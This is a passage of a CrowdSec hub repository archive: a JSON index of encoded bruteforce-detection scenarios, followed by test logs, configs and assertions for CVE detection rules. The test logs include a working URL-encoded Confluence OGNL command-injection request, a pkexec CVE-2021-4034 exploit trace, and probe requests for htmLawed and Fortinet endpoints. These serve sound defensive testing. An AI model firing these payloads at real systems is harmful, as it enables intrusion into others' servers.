kaXN0aW5jdDogZXZ0Lk1ldGEudXNlcm5hbWUKYmxhY2tob2xlOiAxbQpyZXByb2Nlc3M6IHRydWUKbGFiZWxzOgogIHNlcnZpY2U6IGdpdGxhYgogIHR5cGU6IGJydXRlZm9yY2UKICByZW1lZGlhdGlvbjogdHJ1ZQ==", "description": "Detect gitlab bruteforce", "author": "timokoessler", "labels": { "remediation": "true", "service": "gitlab", "type": "bruteforce" } }, "timokoessler/mongodb-bf": { "path": "scenarios/timokoessler/mongodb-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "2091dbe9f9e71d2f31a6c6dbcd1aaa5b8eb8215925bfdf8a36f9b3c1624cffcf", "deprecated": false } }, "long_description": "RGV0ZWN0IGZhaWxlZCBNb25nb0RCIGF1dGhlbnRpY2F0aW9uczoKCi0gbGVha3NwZWVkIG9mIDIwcywgY2FwYWNpdHkgb2YgNSBvbiBzb3VyY2UgaXAKLSBsZWFrc3BlZWQgb2YgNDBzLCBjYXBhY2l0eSBvZiA1IG9uIHNvdXJjZSBpcCBhbmQgdW5pcXVlIGRpc3RpbmN0IHVzZXJzCi0gbGVha3NwZWVkIG9mIDQwcywgY2FwYWNpdHkgb2YgNSBvbiBzb3VyY2UgaXAgYW5kIHVuaXF1ZSBkaXN0aW5jdCBhdXRoZW50aWNhdGlvbiBkYXRhYmFzZQ==", "content": "IyBtb25nb2RiIGJydXRlZm9yY2UKdHlwZTogbGVha3kKbmFtZTogdGltb2tvZXNzbGVyL21vbmdvZGItYmYKZGVzY3JpcHRpb246ICJEZXRlY3QgbW9uZ29kYiBicnV0ZWZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSA9PSAnbW9uZ29kYl9mYWlsZWRfYXV0aCciCmxlYWtzcGVlZDogIjIwcyIKY2FwYWNpdHk6IDUKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmJsYWNraG9sZTogMW0KcmVwcm9jZXNzOiB0cnVlCmxhYmVsczoKICBzZXJ2aWNlOiBtb25nb2RiCiAgdHlwZTogYnJ1dGVmb3JjZQogIHJlbWVkaWF0aW9uOiB0cnVlCi0tLQojIG1vbmdvZGIgdXNlciBlbnVtIGJydXRlZm9yY2UKdHlwZTogbGVha3kKbmFtZTogdGltb2tvZXNzbGVyL21vbmdvZGItYmZfdXNlci1lbnVtCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IG1vbmdvZGIgdXNlciBlbnVtIGJydXRlZm9yY2UiCmZpbHRlcjogImV2dC5NZXRhLmxvZ190eXBlID09ICdtb25nb2RiX2ZhaWxlZF9hdXRoJyIKbGVha3NwZWVkOiAiNDBzIgpjYXBhY2l0eTogNQpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKZGlzdGluY3Q6IGV2dC5NZXRhLnVzZXJuYW1lCmJsYWNraG9sZTogMW0KcmVwcm9jZXNzOiB0cnVlCmxhYmVsczoKICBzZXJ2aWNlOiBtb25nb2RiCiAgdHlwZTogYnJ1dGVmb3JjZQogIHJlbWVkaWF0aW9uOiB0cnVlCi0tLQojIG1vbmdvZGIgYXV0aGVudGljYXRpb24gZGF0YWJhc2UgZW51bSBicnV0ZWZvcmNlCnR5cGU6IGxlYWt5Cm5hbWU6IHRpbW9rb2Vzc2xlci9tb25nb2RiLWJmX2F1dGgtZGItZW51bQpkZXNjcmlwdGlvbjogIkRldGVjdCBtb25nb2RiIGF1dGhlbnRpY2F0aW9uIGRhdGFiYXNlIGVudW0gYnJ1dGVmb3JjZSIKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ21vbmdvZGJfZmFpbGVkX2F1dGgnIgpsZWFrc3BlZWQ6ICI0MHMiCmNhcGFjaXR5OiA1Cmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApkaXN0aW5jdDogZXZ0Lk1ldGEuYXV0aGVudGljYXRpb25fZGF0YWJhc2UKYmxhY2tob2xlOiAxbQpyZXByb2Nlc3M6IHRydWUKbGFiZWxzOgogIHNlcnZpY2U6IG1vbmdvZGIKICB0eXBlOiBicnV0ZWZvcmNlCiAgcmVtZWRpYXRpb246IHRydWU=", "description": "Detect mongodb bruteforce", "author": "timokoessler", "labels": { "remediation": "true", "service": "mongodb", "type": "bruteforce" } }, "timokoessler/uptime-kuma-bf": { "path": "scenarios/timokoessler/uptime-kuma-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "a50fbbc0db115694fc140607f27688c499d63b3702b2bc596809f3cfaeb58c02", "deprecated": false } }, "long_description": "RGV0ZWN0IGZhaWxlZCBVcHRpbWUgS3VtYSBhdXRoZW50aWNhdGlvbnM6CgotIGxlYWtzcGVlZCBvZiAxNXMsIGNhcGFjaXR5IG9mIDUgb24gc291cmNlIGlwCi0gbGVha3NwZWVkIG9mIDMwcywgY2FwYWNpdHkgb2YgNSBvbiBzb3VyY2UgaXAgYW5kIHVuaXF1ZSBkaXN0aW5jdCB1c2Vycw==", "content": "IyBVcHRpbWUgS3VtYSBicnV0ZWZvcmNlCnR5cGU6IGxlYWt5Cm5hbWU6IHRpbW9rb2Vzc2xlci91cHRpbWUta3VtYS1iZgpkZXNjcmlwdGlvbjogIkRldGVjdCBVcHRpbWUgS3VtYSBicnV0ZWZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSBpbiBbJ3VwdGltZV9rdW1hX2ZhaWxlZF9wYXNzd29yZCcsICd1cHRpbWVfa3VtYV9mYWlsZWRfdG90cCddIgpsZWFrc3BlZWQ6ICIxNXMiCmNhcGFjaXR5OiA1Cmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApibGFja2hvbGU6IDFtCnJlcHJvY2VzczogdHJ1ZQpsYWJlbHM6CiAgc2VydmljZTogdXB0aW1lLWt1bWEKICB0eXBlOiBicnV0ZWZvcmNlCiAgcmVtZWRpYXRpb246IHRydWUKLS0tCiMgVXB0aW1lIEt1bWEgdXNlciBlbnVtIGJydXRlZm9yY2UKdHlwZTogbGVha3kKbmFtZTogdGltb2tvZXNzbGVyL3VwdGltZS1rdW1hLWJmX3VzZXItZW51bQpkZXNjcmlwdGlvbjogIkRldGVjdCBVcHRpbWUgS3VtYSB1c2VyIGVudW0gYnJ1dGVmb3JjZSIKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgaW4gWyd1cHRpbWVfa3VtYV9mYWlsZWRfcGFzc3dvcmQnLCAndXB0aW1lX2t1bWFfZmFpbGVkX3RvdHAnXSIKbGVha3NwZWVkOiAiMzBzIgpjYXBhY2l0eTogNQpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKZGlzdGluY3Q6IGV2dC5NZXRhLnVzZXJuYW1lCmJsYWNraG9sZTogMW0KcmVwcm9jZXNzOiB0cnVlCmxhYmVsczoKICBzZXJ2aWNlOiB1cHRpbWUta3VtYQogIHR5cGU6IGJydXRlZm9yY2UKICByZW1lZGlhdGlvbjogdHJ1ZQ==", "description": "Detect Uptime Kuma bruteforce", "author": "timokoessler", "labels": { "remediation": "true", "service": "uptime-kuma", "type": "bruteforce" } } } }hub1/.tests/000077500000000000000000000000001437532772500131545ustar00rootroot00000000000000hub1/.tests/CVE-2021-4034/000077500000000000000000000000001437532772500145435ustar00rootroot00000000000000hub1/.tests/CVE-2021-4034/CVE-2021-4034.log000066400000000000000000000004051437532772500166340ustar00rootroot00000000000000Jan 27 11:02:49 machine pkexec[387348]: srcuser: The value for the SHELL variable was not found the /etc/shells file [USER=root] [TTY=/dev/pts/3] [CWD=/tmp/poc-cve-2021-4034-main] [COMMAND=GCONV_PATH=./gconv PATH=GCONV_PATH=. SHELL=/fake/shell CHARSET=payload] hub1/.tests/CVE-2021-4034/config.yaml000066400000000000000000000004271437532772500166770ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/pkexec-logs.yaml scenarios: - ./scenarios/crowdsecurity/CVE-2021-4034.yaml postoverflows: - "" log_file: CVE-2021-4034.log log_type: syslog labels: {} ignore_parsers: false hub1/.tests/CVE-2021-4034/parser.assert000066400000000000000000000077571437532772500173020ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 1 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["message"] == "srcuser: The value for the SHELL variable was not found the /etc/shells file [USER=root] [TTY=/dev/pts/3] [CWD=/tmp/poc-cve-2021-4034-main] [COMMAND=GCONV_PATH=./gconv PATH=GCONV_PATH=. SHELL=/fake/shell CHARSET=payload]" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["pid"] == "387348" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["program"] == "pkexec" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["timestamp"] == "Jan 27 11:02:49" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_path"] == "CVE-2021-4034.log" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["machine"] == "machine" len(results["s01-parse"]["crowdsecurity/pkexec-logs"]) == 1 results["s01-parse"]["crowdsecurity/pkexec-logs"][0].Success == true results["s01-parse"]["crowdsecurity/pkexec-logs"][0].Evt.Parsed["message"] == "srcuser: The value for the SHELL variable was not found the /etc/shells file [USER=root] [TTY=/dev/pts/3] [CWD=/tmp/poc-cve-2021-4034-main] [COMMAND=GCONV_PATH=./gconv PATH=GCONV_PATH=. SHELL=/fake/shell CHARSET=payload]" results["s01-parse"]["crowdsecurity/pkexec-logs"][0].Evt.Parsed["program"] == "pkexec" results["s01-parse"]["crowdsecurity/pkexec-logs"][0].Evt.Parsed["timestamp"] == "Jan 27 11:02:49" results["s01-parse"]["crowdsecurity/pkexec-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/pkexec-logs"][0].Evt.Parsed["pid"] == "387348" results["s01-parse"]["crowdsecurity/pkexec-logs"][0].Evt.Parsed["user"] == "srcuser" results["s01-parse"]["crowdsecurity/pkexec-logs"][0].Evt.Meta["machine"] == "machine" results["s01-parse"]["crowdsecurity/pkexec-logs"][0].Evt.Meta["target_user"] == "srcuser" results["s01-parse"]["crowdsecurity/pkexec-logs"][0].Evt.Meta["datasource_path"] == "CVE-2021-4034.log" results["s01-parse"]["crowdsecurity/pkexec-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/pkexec-logs"][0].Evt.Meta["log_type"] == "CVE-2021-4034-xpl" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 1 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["pid"] == "387348" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["timestamp"] == "Jan 27 11:02:49" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["user"] == "srcuser" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "srcuser: The value for the SHELL variable was not found the /etc/shells file [USER=root] [TTY=/dev/pts/3] [CWD=/tmp/poc-cve-2021-4034-main] [COMMAND=GCONV_PATH=./gconv PATH=GCONV_PATH=. SHELL=/fake/shell CHARSET=payload]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "pkexec" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "CVE-2021-4034.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "CVE-2021-4034-xpl" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["machine"] == "machine" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["target_user"] == "srcuser" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"][4:] == "-01-27T11:02:49Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"][4:] == "-01-27T11:02:49Z" len(results["success"][""]) == 0 hub1/.tests/CVE-2021-4034/scenario.assert000066400000000000000000000016351437532772500175760ustar00rootroot00000000000000len(results) == 1 "srcuser" in results[0].Overflow.GetSources() results[0].Overflow.Sources["srcuser"].IP == "" results[0].Overflow.Sources["srcuser"].Range == "" results[0].Overflow.Sources["srcuser"].GetScope() == "system_account" results[0].Overflow.Sources["srcuser"].GetValue() == "srcuser" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "CVE-2021-4034.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "CVE-2021-4034-xpl" results[0].Overflow.Alert.Events[0].GetMeta("machine") == "machine" results[0].Overflow.Alert.Events[0].GetMeta("target_user") == "srcuser" results[0].Overflow.Alert.Events[0].GetMeta("timestamp")[4:] == "-01-27T11:02:49Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/CVE-2021-4034" results[0].Overflow.Alert.Remediation == false results[0].Overflow.Alert.GetEventsCount() == 1 hub1/.tests/CVE-2022-26134/000077500000000000000000000000001437532772500146315ustar00rootroot00000000000000hub1/.tests/CVE-2022-26134/CVE-2022-26134.log000066400000000000000000000016321437532772500170130ustar00rootroot000000000000001.2.3.4 - - [17/Oct/2022:14:13:07 +0000] "GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22ls%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1" 404 455 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 1.2.3.5 - - [17/Oct/2022:14:14:21 +0000] "GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22ls%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Response%22%2C%23a%29%29%7D/ HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" hub1/.tests/CVE-2022-26134/config.yaml000066400000000000000000000003751437532772500167670ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/apache2-logs.yaml scenarios: - "./scenarios/crowdsecurity/CVE-2022-26134.yaml" log_file: CVE-2022-26134.log log_type: apache2 ignore_parsers: true hub1/.tests/CVE-2022-26134/scenario.assert000066400000000000000000000060601437532772500176610ustar00rootroot00000000000000len(results) == 2 "1.2.3.5" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.5"].IP == "1.2.3.5" results[0].Overflow.Sources["1.2.3.5"].Range == "" results[0].Overflow.Sources["1.2.3.5"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.5"].GetValue() == "1.2.3.5" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "CVE-2022-26134.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22ls%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Response%22%2C%23a%29%29%7D/" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.5" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-10-17T14:14:21Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/CVE-2022-26134" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 "1.2.3.4" in results[1].Overflow.GetSources() results[1].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[1].Overflow.Sources["1.2.3.4"].Range == "" results[1].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[1].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "CVE-2022-26134.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("http_path") == "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22ls%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/" results[1].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[1].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" results[1].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[0].GetMeta("service") == "http" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-10-17T14:13:07Z" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/CVE-2022-26134" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 1 hub1/.tests/CVE-2022-35914/000077500000000000000000000000001437532772500146375ustar00rootroot00000000000000hub1/.tests/CVE-2022-35914/CVE-2022-35914.log000066400000000000000000000005431437532772500170270ustar00rootroot00000000000000www.crowdsec.net 1.2.3.4 - - [08/Jun/2020:08:04:43 +0000] "GET /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1" 200 803 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 1.2.3.4 - - [05/Mar/2021:09:01:38 +0100] "POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.0" 200 1513 hub1/.tests/CVE-2022-35914/config.yaml000066400000000000000000000003751437532772500167750ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/apache2-logs.yaml scenarios: - "./scenarios/crowdsecurity/CVE-2022-35914.yaml" log_file: CVE-2022-35914.log log_type: apache2 ignore_parsers: true hub1/.tests/CVE-2022-35914/parser.assert000066400000000000000000000000001437532772500173440ustar00rootroot00000000000000hub1/.tests/CVE-2022-35914/scenario.assert000066400000000000000000000047771437532772500177040ustar00rootroot00000000000000len(results) == 2 "1.2.3.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[0].Overflow.Sources["1.2.3.4"].Range == "" results[0].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "CVE-2022-35914.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/vendor/htmlawed/htmlawed/htmLawedTest.php" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("target_fqdn") == "www.crowdsec.net" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2020-06-08T08:04:43Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/CVE-2022-35914" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 "1.2.3.4" in results[1].Overflow.GetSources() results[1].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[1].Overflow.Sources["1.2.3.4"].Range == "" results[1].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[1].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "CVE-2022-35914.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("http_path") == "/vendor/htmlawed/htmlawed/htmLawedTest.php" results[1].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[1].Overflow.Alert.Events[0].GetMeta("http_verb") == "POST" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[0].GetMeta("service") == "http" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[0].GetMeta("timestamp") == "2021-03-05T09:01:38+01:00" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/CVE-2022-35914" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 1 hub1/.tests/CVE-2022-40684/000077500000000000000000000000001437532772500146375ustar00rootroot00000000000000hub1/.tests/CVE-2022-40684/CVE-2022-40684.log000066400000000000000000000001631437532772500170250ustar00rootroot00000000000000127.0.0.1 - - [14/Oct/2022:09:55:53 +0200] "PUT /api/v2/cmdb/system/admin/hes HTTP/1.1" 404 134 "-" "Report Runner"hub1/.tests/CVE-2022-40684/config.yaml000066400000000000000000000004231437532772500167670ustar00rootroot00000000000000parsers: - crowdsecurity/nginx-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/CVE-2022-40684.yaml postoverflows: - "" log_file: CVE-2022-40684.log log_type: nginx labels: {} ignore_parsers: false override_statics: [] hub1/.tests/CVE-2022-40684/parser.assert000066400000000000000000000126041437532772500173610ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 1 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "127.0.0.1 - - [14/Oct/2022:09:55:53 +0200] \"PUT /api/v2/cmdb/system/admin/hes HTTP/1.1\" 404 134 \"-\" \"Report Runner\"" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "nginx" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "CVE-2022-40684.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 1 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false len(results["s01-parse"]["crowdsecurity/nginx-logs"]) == 1 results["s01-parse"]["crowdsecurity/nginx-logs"][0].Success == true results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["remote_addr"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["remote_user"] == "-" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["status"] == "404" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["time_local"] == "14/Oct/2022:09:55:53 +0200" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["request"] == "/api/v2/cmdb/system/admin/hes" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["body_bytes_sent"] == "134" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["http_referer"] == "-" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["http_user_agent"] == "Report Runner" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["message"] == "127.0.0.1 - - [14/Oct/2022:09:55:53 +0200] \"PUT /api/v2/cmdb/system/admin/hes HTTP/1.1\" 404 134 \"-\" \"Report Runner\"" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["program"] == "nginx" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["verb"] == "PUT" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["datasource_path"] == "CVE-2022-40684.log" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["http_user_agent"] == "Report Runner" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["http_verb"] == "PUT" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["http_path"] == "/api/v2/cmdb/system/admin/hes" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["http_status"] == "404" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 1 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["http_user_agent"] == "Report Runner" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["status"] == "404" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["body_bytes_sent"] == "134" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["remote_user"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["request"] == "/api/v2/cmdb/system/admin/hes" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["http_referer"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "127.0.0.1 - - [14/Oct/2022:09:55:53 +0200] \"PUT /api/v2/cmdb/system/admin/hes HTTP/1.1\" 404 134 \"-\" \"Report Runner\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["verb"] == "PUT" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "nginx" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["remote_addr"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["time_local"] == "14/Oct/2022:09:55:53 +0200" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-10-14T09:55:53+02:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "CVE-2022-40684.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_path"] == "/api/v2/cmdb/system/admin/hes" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_status"] == "404" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_verb"] == "PUT" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_user_agent"] == "Report Runner" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-10-14T09:55:53+02:00" len(results["success"][""]) == 0hub1/.tests/CVE-2022-40684/scenario.assert000066400000000000000000000023431437532772500176670ustar00rootroot00000000000000len(results) == 1 